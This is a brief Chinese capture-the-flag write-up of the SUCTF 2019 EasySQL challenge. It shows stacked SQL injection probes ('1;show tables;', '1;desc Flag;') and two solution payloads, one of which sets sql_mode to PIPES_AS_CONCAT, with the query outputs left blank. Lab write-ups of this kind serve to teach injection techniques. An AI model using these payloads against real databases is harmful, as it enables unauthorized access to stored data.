【SQL注入】[SUCTF 2019]EasySQL---堆叠注入,管道符||---day02
一、题目界面
打开以后就一个输入框
随便输个1,结果:
输个单引号',没有回显
输个双引号",回显:
二、思路
刚进来试了两下,一脸懵。应该是报错结果没有输出。尝试下堆叠注入
1;show databases;
可以,再看下表;
1;show tables;
有个Flag表,尝试看表的结构:
1;desc Flag;
结果nonono
没思路了,看下别人wp。
说原理应该是:
正解:
意思就是是否开通了管道符来连接sql语句。
payload:
1;set sql_mode=PIPES_AS_CONCAT;select 1
意外解:
payload:
*,1